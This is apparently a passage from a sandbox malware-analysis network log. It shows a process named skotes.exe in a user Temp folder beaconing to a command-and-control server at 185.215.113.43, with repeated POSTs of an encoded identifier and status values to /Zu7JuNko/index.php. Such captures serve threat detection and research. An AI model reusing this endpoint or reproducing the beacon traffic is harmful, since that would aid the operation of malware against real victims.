Nov 23, 2024 15:26:05.433665991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50247	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:07.071002007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:08.507862091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50249	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:10.249286890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:26:11.636329889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50250	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:13.267142057 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:14.703535080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50251	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:16.445693016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:26:17.781985998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50252	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:19.424808979 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:20.817828894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50253	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:22.563904047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:26:23.907968044 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50254	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:25.540298939 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:26.888775110 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50255	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:28.641091108 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:26:30.018721104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50256	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:31.658924103 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:33.092652082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50257	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:34.838778973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:26:36.277122974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50258	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:37.919940948 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:39.301192045 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50259	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:41.040338039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:26:42.388978004 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	50260	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:44.016519070 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:45.455893040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	50261	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:47.195430994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:26:48.635236979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	50262	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:50.274434090 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:51.669727087 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	50263	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:53.413027048 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:26:54.845568895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	50264	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:56.471448898 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:57.864948034 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	50265	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:59.611705065 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:00.988990068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	50266	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:02.627487898 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:04.024599075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	50267	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:05.769499063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:07.145801067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	50268	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:08.786214113 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:10.137711048 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	50269	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:11.889470100 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:13.265124083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	50270	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:14.905388117 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:16.345293999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	50271	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:18.082583904 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:19.505573034 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

